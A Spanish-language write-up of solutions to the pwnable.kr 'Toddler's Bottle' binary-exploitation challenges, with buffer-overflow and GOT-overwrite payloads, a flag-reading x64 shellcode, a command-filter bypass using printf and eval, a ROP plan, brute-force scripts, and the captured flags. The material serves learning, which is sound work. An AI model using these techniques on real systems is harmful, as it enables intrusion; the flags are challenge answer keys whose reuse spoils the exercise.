pwnable.kr es un sitio web no comercial que contiene retos enfocados a desarrollar habilidades en explotación binaria, división conocida coloquialmente como “pwn” en sitios afines.
Los retos en pwnable.kr se dividen en cuatro categorías. Ordenadas de la más fácil a la más difícil:
[Toddler’s Bottle]
[Rookiss]
[Grotesque]
[Hacker’s Secret]
En este artículo presento las soluciones de los retos de la primera categoría: “Toddler’s Bottle”. Se espera que el lector tenga un entendimiento básico del lenguaje de programación C, las arquitecturas x86 y sistemas Linux.
El descriptor de archivo 0 es la entrada estándar, pasamos el valor 0x1234 (4660 en decimal) como argumento:
1 2 3 4
fd@ubuntu:~$ ./fd 4660 LETMEWIN good job :) Mama! Now_I_understand_what_file_descriptors_are!
Mama! Now_I_understand_what_file_descriptors_are!
Collision
El programa espera 20 bytes, los divide en grupos de 5 enteros de 4 bytes cada uno, los suma y compara el resultado con 0x21DD09EC, debemos pasar unos bytes que sumados den lo mismo:
1 2 3 4 5 6 7 8 9
Python 3.13.3 (main, Apr 10 2025, 21:38:51) [GCC 14.2.0] on linux Type "help", "copyright", "credits" or "license" for more information. >>> hex(int(0x21DD09EC / 5)) '0x6c5cec8' >>> hex(0x6c5cec8*5) '0x21dd09e8' >>> hex(0x6c5cec8*4 + 0x6c5cecc) '0x21dd09ec' >>>
Este es un buffer overflow clásico, necesitamos sobreescribir key para que la comparacion sea correcta, tambien en readme nos dicen que el programa esta corriendo en el puerto 9000 local, debemos explotarlo para encontrar la flag.
Si hacemos un breakpoint en *func+63 veremos que el offset es de 56 bytes (32 del arreglo, 16 que reserva el compilador, 4 de ebp y 4 de la dirección de retorno)
1 2 3 4 5 6 7 8 9 10 11
bof@ubuntu:~$ cat readme bof binary is running at "nc 0 9000" under bof_pwn privilege. get shell and read flag bof@ubuntu:~$ (python3 -c 'import sys; sys.stdout.buffer.write(b"A"*52+b"\xbe\xba\xfe\xca\n")';cat) | nc 0 9000 ls bof bof.c flag log super.pl cat flag Daddy_I_just_pwned_a_buff3r!
// ha! mommy told me that 32bit is vulnerable to bruteforcing :) printf("enter passcode2 : "); scanf("%d", passcode2);
El segundo parámetro debería ser la dirección de memoria del passcode, o sea, debería usarse & como operador de desreferencia, sin embargo aquí se está escribiendo en la dirección de memoria cuyo valor contiene passcode.
Luego del scanf de passcode1 se hace una llamada a fflush, lo que tenemos que hacer es sobreescribir el contenido de passcode1 con la dirección de fflush en la GOT y luego con esta vulnerabilidad en scanf escribir la dirección real a la que apunta fflush en la GOT.
Por alguna razón pwngdb estaba fallando y no pude ejecutar el programa, así que obtuve la dirección de fflush en la GOT con objdump:
... 0x0804926b <+117>: sub esp,0xc 0x0804926e <+120>: lea eax,[ebx-0x1fcf] 0x08049274 <+126>: push eax 0x08049275 <+127>: call 0x8049090 <puts@plt> 0x0804927a <+132>: add esp,0x10 0x0804927d <+135>: cmp DWORD PTR [ebp-0x10],0x1e240 0x08049284 <+142>: jne 0x80492ce <login+216> 0x08049286 <+144>: cmp DWORD PTR [ebp-0xc],0xcc07c9 0x0804928d <+151>: jne 0x80492ce <login+216> 0x0804928f <+153>: sub esp,0xc <--- Queremos saltar aqui. donde el if se cumple y se imprime la flag
Como scanf acepta solo entrada numérica para passcode1 tenemos que convertir esta dirección a un decimal con python3 -c 'print(0x0804928f)'
Resultado final:
1 2 3 4 5 6
passcode@ubuntu:~$ python3 -c 'import sys;sys.stdout.buffer.write(b"A"*96+b"\x14\xc0\x04\x08"+b"134517391")'|./passcode Toddler's Secure Login System 1.1 beta. enter you name : Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA! enter passcode1 : Login OK! s0rry_mom_I_just_ign0red_c0mp1ler_w4rning Now I can safely trust you that you have credential :)
s0rry_mom_I_just_ign0red_c0mp1ler_w4rning
random
El programa usa rand() de libc; en Linux rand() toma de semilla el valor “1” cuando no se especifica y como es un PRNG es determinista. Como resultado el primer entero generado por rand() en Linux es siempre 1804289383
Hacemos XOR con la clave para obtener el valor correcto
1 2 3 4 5
python3 Python 3.13.3 (main, Apr 10 2025, 21:38:51) [GCC 14.2.0] on linux Type "help", "copyright", "credits" or "license" for more information. >>> 1804289383 ^ 0xcafebabe 2708864985
nput2@ubuntu:/tmp$ python3 sk.py sys:1: BytesWarning: Text is not bytes; assuming ISO-8859-1, no guarantees. See https://docs.pwntools.com/#bytes [+] Starting local process '/home/input2/input2': pid 217953 [+] Opening connection to localhost on port 4444: Done [*] Switching to interactive mode Welcome to pwnable.kr Let's see if you know how to give input to program Just give me correct inputs then you will get the flag :) Stage 1 clear! Stage 2 clear! Stage 3 clear! Stage 4 clear! Stage 5 clear! Mommy_now_I_know_how_to_pa5s_inputs_in_Linux
Mommy_now_I_know_how_to_pa5s_inputs_in_Linux
leg
Me gustó mucho este reto, fue mi introducción a ARM.
Primero, en esta arquitectura el registro r0 se utiliza como el valor de retorno de las funciones, asi que debemos rastrear su valor.
Key1
1 2 3 4 5 6 7 8 9
(gdb) disass key1 Dump of assembler code for function key1: 0x00008cd4 <+0>: push {r11} ; (str r11, [sp, #-4]!) 0x00008cd8 <+4>: add r11, sp, #0 0x00008cdc <+8>: mov r3, pc <--- r3 = sp = 0x00008cdc + 8 = 0x00008ce4 0x00008ce0 <+12>: mov r0, r3 <--- r0 = r3 = 0x00008ce4 0x00008ce4 <+16>: sub sp, r11, #0 0x00008ce8 <+20>: pop {r11} ; (ldr r11, [sp], #4) 0x00008cec <+24>: bx lr
ARM tiene una “tubería” de ejecución con tres etapas para mejorar el rendimiento:
Fetch (F): Carga la instrucción actual desde memoria
Decode (D): Decodifica la instrucción
Execute (E): Ejecuta la instrucción
Por eso cuando se usa pc en alguna instrucción en Fetch (F), el procesador está ejecutando dos instrucciones más adelante y pc realmente vale instrucción_en_fetch + 8 en modo ARM O instrucción_en_fetch + 4 en modo Thumb.
Entonces key1 retorna 0x00008ce4
Key2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
(gdb) disass key2 Dump of assembler code for function key2: 0x00008cf0 <+0>: push {r11} ; (str r11, [sp, #-4]!) 0x00008cf4 <+4>: add r11, sp, #0 0x00008cf8 <+8>: push {r6} ; (str r6, [sp, #-4]!) 0x00008cfc <+12>: add r6, pc, #1 <-- Byte menos significativo de r6 es 1 0x00008d00 <+16>: bx r6 <-- Cambiando a modo Thumb 0x00008d04 <+20>: mov r3, pc <-- r3 = pc + 4 = 0x00008d08 0x00008d06 <+22>: adds r3, #4 <-- r3 = r3 + 4 = 0x00008d0c 0x00008d08 <+24>: push {r3} 0x00008d0a <+26>: pop {pc} 0x00008d0c <+28>: pop {r6} ; (ldr r6, [sp], #4) 0x00008d10 <+32>: mov r0, r3 <-- r0 = r3 = 0x00008d0c 0x00008d14 <+36>: sub sp, r11, #0 0x00008d18 <+40>: pop {r11} ; (ldr r11, [sp], #4) 0x00008d1c <+44>: bx lr
El procesador ARM cambia a modo Thumb cuando el bit menos significativo (LSB) de un registro usado en una instrucción de bifurcacion (bx,blx) es 1
Entonces key2 retorna 0x00008d0c
Key3
1 2 3 4 5 6 7 8 9
(gdb) disass key3 Dump of assembler code for function key3: 0x00008d20 <+0>: push {r11} ; (str r11, [sp, #-4]!) 0x00008d24 <+4>: add r11, sp, #0 0x00008d28 <+8>: mov r3, lr <-- r3 = lr = 0x00008d80 0x00008d2c <+12>: mov r0, r3 <-- r0 = r3 = 0x00008d80 0x00008d30 <+16>: sub sp, r11, #0 0x00008d34 <+20>: pop {r11} ; (ldr r11, [sp], #4) 0x00008d38 <+24>: bx lr
El registro lr apunta a la dirección de retorno cuando se hace una llamada a una función con bl por ejemplo:
python3 Python 3.13.3 (main, Apr 10 2025, 21:38:51) [GCC 14.2.0] on linux Type "help", "copyright", "credits" or "license" for more information. >>> 0x00008ce4 + 0x00008d0c + 0x00008d80 108400 >>>
1 2 3 4 5
/ $ ./leg Daddy has very strong arm! : 108400 Congratz! daddy_has_lot_of_ARM_muscl3 / $
daddy_has_lot_of_ARM_muscl3
mistake
Normalmente fd=open("/home/mistake/password",O_RDONLY,0400) deberia terminar con fd conteniendo un número que sería el descriptor de archivo, sin embargo aqui:
1 2 3 4 5
int fd; if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){ printf("can't open password %d\n", fd); return0; }
El operador < tiene mayor precedencia que el operador = y como open(...) devuelve un número positivo si tuvo éxito termina siendo fd = n<0; n es positivo = 0. Entonces fd acaba apuntando a stdin, y password se leerá de la entrada de usuario:
1
if(!(len=read(fd,pw_buf,PW_LEN) > 0)){
Entonces esperamos 20 segundos (sleep(time(0)%20);) y enviamos un valor de 10 caracteres, digamos 1111111111 y ese valor XOR 1, en este caso 0000000000:
1 2 3 4 5 6
python3 Python 3.13.3 (main, Apr 10 2025, 21:38:51) [GCC 14.2.0] on linux Type "help", "copyright", "credits" or "license" for more information. >>> ord('1') ^ 1 48 >>>
1 2 3 4 5 6
mistake@ubuntu:~$ ./mistake do not bruteforce... 1111111111 input password : 0000000000 Password OK Mommy_the_0perator_priority_confuses_me
deffindCounterfeit(N,C): low = 0 high = N - 1 for _ inrange(C): # Si se halla la moneda con menos pesadas enviar pesadas de relleno hasta llegar a C if low == high: io.sendline(str(low).encode()) io.recvline() break mid = (low + high) // 2 weight_coins = " ".join(str(i) for i inrange(low,mid+1)) io.sendline(weight_coins.encode()) weight = int(io.recvline().decode().strip()) expected_weight = 10 * (mid - low + 1) if weight < expected_weight: high = mid else: low = mid + 1 return low
time.sleep(5) for i inrange(100): line = io.recvline().decode().strip() whilenot line.startswith("N="): line = io.recvline().decode().strip() N = int(line.split("N=")[1].split()[0]) C = int(line.split("C=")[1].split()[0])
[*] Switching to interactive mode Congrats! get your flag b1naRy_S34rch1Ng_1s_3asy_p3asy
b1naRy_S34rch1Ng_1s_3asy_p3asy
blackjack
El sistema no valida una apuesta negativa; por ejemplo: si apostamos $-100000 se calcula cash = cash - (-10000) = cash + 10000 si perdemos con una apuesta negativa:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
if(p==21) //If user total is 21, win { printf("\nUnbelievable! You Win!\n"); won = won+1; cash = cash+bet; printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss); dealer_total=0; askover(); }
if(p>21) //If player total is over 21, loss { printf("\nWoah Buddy, You Went WAY over.\n"); loss = loss+1; cash = cash - bet; printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss); dealer_total=0; askover(); }
Would You Like To Play Again? Please Enter Y for Yes or N for No y
Cash: $500 ------- |S | | 6 | | S| -------
Your Total is 6
The Dealer Has a Total of 1
Enter Bet: $-1000000
Would You Like to Hit or Stay? Please Enter H to Hit or S to Stay. h ------- |S | | J | | S| -------
Your Total is 16
The Dealer Has a Total of 3
Would You Like to Hit or Stay? Please Enter H to Hit or S to Stay. h ------- |H | | 2 | | H| -------
Your Total is 18
The Dealer Has a Total of 14
Would You Like to Hit or Stay? Please Enter H to Hit or S to Stay. h ------- |H | | A | | H| -------
Your Total is 19
The Dealer Has a Total of 15
Would You Like to Hit or Stay? Please Enter H to Hit or S to Stay. h ------- |D | | Q | | D| -------
Your Total is 29
The Dealer Has a Total of 19 Woah Buddy, You Went WAY over.
You have 1 Wins and 1 Losses. Awesome!
Would You Like To Play Again? Please Enter Y for Yes or N for No y Woohoo_I_am_now_a_MILL10NAIRE!
Cash: $1000500 ------- |S | | 1 | | S| -------
Your Total is 1
The Dealer Has a Total of 2
Enter Bet: $
Woohoo_I_am_now_a_MILL10NAIRE!
lotto
El programa chequea erróneamente los números de la lotería, asi que basta con enviar el mismo byte 6 veces y que este entre 1 de los 6 generados aletoriamente:
Las probabilidades son 1/45, así que hacemos fuerza bruta:
1 2 3 4 5 6 7 8 9 10 11 12
from pwn import * io = process("./lotto") while True: io.recv() io.sendline(b"1") io.recv() io.sendline(b"\x10"*6) io.recvline() r = io.recvline() if b"bad luck..." not in r: print(r.decode()) break
Dato curioso: Perdí mi tiempo accidentalmente usando 6 valores que estaban fuera del rango [1-45]
1 2 3
lotto@ubuntu:~$ python3 /tmp/so.py [+] Starting local process './lotto': pid 408166 Sorry_mom_1_Forgot_to_check_duplicates
Sorry_mom_1_Forgot_to_check_duplicates
cmd1
No tenemos path asi que debemos escribir la ruta completa del comando /usr/bin/cat. Podemos usar comodines para pasar el filtro de “flag”:
El subcomando de printf se expande a “/usr/bin/cat /home/cmd2/flag”. En un principio intenté usar \x2f como secuencia de escape para / pero fue malinterpretado por el programa asi que usé su equivalente en octal \57.
El comando eval ejecuta una cadena como comandos de shell dinámicamente.
Ambos printf y eval son comandos “built-in” o internos de la shell por lo que no dependen del PATH.
memcpy@ubuntu:/tmp$ echo -ne "8\n16\n32\n64\n128\n256\n512\n1024\n2048\n4096\n" | nc 0.0.0.0 9022 Hey, I have a boring assignment for CS class.. :( The assignment is simple. ----------------------------------------------------- - What is the best implementation of memcpy? - - 1. implement your own slow/fast version of memcpy - - 2. compare them with various size of data - - 3. conclude your experiment and submit report - ----------------------------------------------------- This time, just help me out with my experiment and get flag No fancy hacking, I promise :D specify the memcpy amount between 8 ~ 16 : specify the memcpy amount between 16 ~ 32 : specify the memcpy amount between 32 ~ 64 : specify the memcpy amount between 64 ~ 128 : specify the memcpy amount between 128 ~ 256 : specify the memcpy amount between 256 ~ 512 : specify the memcpy amount between 512 ~ 1024 : specify the memcpy amount between 1024 ~ 2048 : specify the memcpy amount between 2048 ~ 4096 : specify the memcpy amount between 4096 ~ 8192 : ok, lets run the experiment with your configuration experiment 1 : memcpy with buffer size 8 ellapsed CPU cycles for slow_memcpy : 3928 ellapsed CPU cycles for fast_memcpy : 572
experiment 2 : memcpy with buffer size 16 ellapsed CPU cycles for slow_memcpy : 668 ellapsed CPU cycles for fast_memcpy : 808
experiment 3 : memcpy with buffer size 32 ellapsed CPU cycles for slow_memcpy : 1124 ellapsed CPU cycles for fast_memcpy : 1304
experiment 4 : memcpy with buffer size 64 ellapsed CPU cycles for slow_memcpy : 2024 ellapsed CPU cycles for fast_memcpy : 308
experiment 5 : memcpy with buffer size 128 ellapsed CPU cycles for slow_memcpy : 3900
La función fast_memcpy usa las instrucciones movdqa y movntps para cargar 128 bits (16 bytes) desde/hacia un registro XMM y copiar datos desde uno de estos registros en memoria respectivamente.
Pero ambas instrucciones requieren que la pila esté alineada a 16 bytes sino causan un “General Protection Fault”:
Normalmente malloc garantiza una alineación a 8 bytes, es decir, esp % 16 == 8, entonces necesitamos sumar 8 a la cantidad de bytes reservados para que esp % 16 == 0 y la pila esté alineada a 16 bytes.
memcpy@ubuntu:~$ echo -ne "8\n16\n32\n72\n136\n264\n520\n1032\n2056\n4096\n" | nc 0.0.0.0 9022 Hey, I have a boring assignment for CS class.. :( The assignment is simple. ----------------------------------------------------- - What is the best implementation of memcpy? - - 1. implement your own slow/fast version of memcpy - - 2. compare them with various size of data - - 3. conclude your experiment and submit report - ----------------------------------------------------- This time, just help me out with my experiment and get flag No fancy hacking, I promise :D specify the memcpy amount between 8 ~ 16 : specify the memcpy amount between 16 ~ 32 : specify the memcpy amount between 32 ~ 64 : specify the memcpy amount between 64 ~ 128 : specify the memcpy amount between 128 ~ 256 : specify the memcpy amount between 256 ~ 512 : specify the memcpy amount between 512 ~ 1024 : specify the memcpy amount between 1024 ~ 2048 : specify the memcpy amount between 2048 ~ 4096 : specify the memcpy amount between 4096 ~ 8192 : ok, lets run the experiment with your configuration experiment 1 : memcpy with buffer size 8 ellapsed CPU cycles for slow_memcpy : 5532 ellapsed CPU cycles for fast_memcpy : 696
experiment 2 : memcpy with buffer size 16 ellapsed CPU cycles for slow_memcpy : 1000 ellapsed CPU cycles for fast_memcpy : 1084
experiment 3 : memcpy with buffer size 32 ellapsed CPU cycles for slow_memcpy : 1112 ellapsed CPU cycles for fast_memcpy : 1248
experiment 4 : memcpy with buffer size 72 ellapsed CPU cycles for slow_memcpy : 2228 ellapsed CPU cycles for fast_memcpy : 544
experiment 5 : memcpy with buffer size 136 ellapsed CPU cycles for slow_memcpy : 4172 ellapsed CPU cycles for fast_memcpy : 580
experiment 6 : memcpy with buffer size 264 ellapsed CPU cycles for slow_memcpy : 7628 ellapsed CPU cycles for fast_memcpy : 424
experiment 7 : memcpy with buffer size 520 ellapsed CPU cycles for slow_memcpy : 14786 ellapsed CPU cycles for fast_memcpy : 568
experiment 8 : memcpy with buffer size 1032 ellapsed CPU cycles for slow_memcpy : 29028 ellapsed CPU cycles for fast_memcpy : 708
experiment 9 : memcpy with buffer size 2056 ellapsed CPU cycles for slow_memcpy : 57764 ellapsed CPU cycles for fast_memcpy : 1344
experiment 10 : memcpy with buffer size 4096 ellapsed CPU cycles for slow_memcpy : 114880 ellapsed CPU cycles for fast_memcpy : 2176
thanks for helping my experiment! flag : b0thers0m3_m3m0ry_4lignment
BITS 64 ; shellcode.asm call _readfile db "this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong", 0
_readfile: ; "open" file pop rdi ; apuntar al nombre del archivo xor rax, rax add al, 2 ; syscall "open" (2) xor rsi, rsi ; O_RDONLY syscall
; "read" file sub sp, 0xfff ; reservar espacio en la pila lea rsi, [rsp] ; apuntar al tope de la pila mov rdi, rax ; fd de open a read xor rdx, rdx mov dx, 0xfff ; número de bytes a leer xor rax, rax ; syscall "read" (0) syscall
; "write" to stdout xor rdi, rdi add dil, 1 ; fd "stdout" (1) mov rdx, rax ; número de bytes a escribir xor rax, rax add al, 1 ; syscall "write" (1) syscall
Nota: Tener en cuenta que a veces esto de db "string",0 puede resultar fatal por el NULL BYTE del final, funciones que leen strings en C terminan cuando encuentran un NULL BYTE, asi que a veces puede que no se lea completamente el shellcode. solución a esto es agregar un caracter no nulo al final de la cadena y reemplazarlo con una instrucción antes de las syscalls:
└─$ python3 s.py [+] Connecting to pwnable.kr on port 2222: Done [*] asm@pwnable.kr: Distro Ubuntu 22.04 OS: linux Arch: amd64 Version: 5.15.0 ASLR: Enabled SHSTK: Disabled IBT: Disabled [+] Starting remote process None on pwnable.kr: pid 467242 [!] ASLR is disabled for '/usr/bin/nc.openbsd'! Welcome to shellcoding practice challenge. In this challenge, you can run your x64 shellcode under SECCOMP sandbox. Try to make shellcode that spits flag using open()/read()/write() systemcalls only. If this does not challenge you. you should play 'asg' challenge :) give me your x64 shellcode: [*] Switching to interactive mode Mak1ng_5helLcodE_i5_veRy_eaSy $
solución usando shellcraft de pwntools
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
from pwn import *
context.arch = "amd64" context.os = "linux"
sh = connection = ssh('asm','pwnable.kr',password='guest',port=2222)
En la función ropme el primer valor que introducimos se compara con cada horcrux y salta a alguna de las funciones A,B,C,D,E,F,G (que imprimen los horcruxes) si conciden, se ve en líneas como:
Al final si no coincide con ninguno entonces se reservan 0x74 bytes y nos piden introducir cuánta experiencia ganamos (la suma de los horcruxes). Convierte la entrada a un entero con atoi y si es correcto entonces abre el archivo flag e imprime su contenido:
Por si las dudas, la generacion y suma de los horcruxes se calcula en la función init_ABCDEFG.
Bueno resulta que la función gets que toma nuestra entrada es vulnerable, no revisa limites del arreglo y hay un buffer overflow. De paso sabemos que el binario no tiene canary (el buffer overflow pasa desapercibido) y no tiene PIE(las direcciones de memoria no cambian):
1 2 3 4 5 6 7 8 9 10
horcruxes@ubuntu:~$ checksec --file=horcruxes [!] Could not populate PLT: [Errno 12] Cannot allocate memory [*] '/home/horcruxes/horcruxes' Arch: i386-32-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8040000) Stripped: No
Debemos hacer ROP (Return Oriented Programming) para retornar a cada una de las funciones que imprimen la experiencia de los horcruxes, tomar su salida y sumarla y entonces volver a ropme a escribir la suma de la experiencia obtenida:
Se reservan 0x74 bytes asi que el offset es 0x74 + 4 bytes del ebp guardado en la función.
[+] Connecting to pwnable.kr on port 2222: Done [*] asm@pwnable.kr: Distro Ubuntu 22.04 OS: linux Arch: amd64 Version: 5.15.0 ASLR: Enabled SHSTK: Disabled IBT: Disabled [+] Starting remote process None on pwnable.kr: pid 518538 [!] ASLR is disabled for '/usr/bin/nc.openbsd'! /home/kalcast/s.py:38: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes io.sendline(str(sum)) [*] Switching to interactive mode How many EXP did you earned? : The_M4gic_sp3l1_is_Avada_Ked4vra
Nota: No sabía que hacía la instrucción __x86.get_pc_thunk.bx pero luego me di cuenta que carga la dirección del código en el registro ebx para acceder a objetos y variables globales por medio de un desplazamiento de ese registro.
The_M4gic_sp3l1_is_Avada_Ked4vra
Conclusiones
Los retos fueron diversos y realmente divertidos. El hecho de que cada uno tenga una imagen característica también es un buen toque. Disfruto más los wargames que los CTFs porque aquí no estás limitado por el tiempo, lo que puede darte tiempo para estudiar y prepararte correctamente. Esto es algo necesario en las categorías superiores donde las vulnerabilidades van dejando de ser triviales y en general cada uno necesita de un conocimiento previo particular.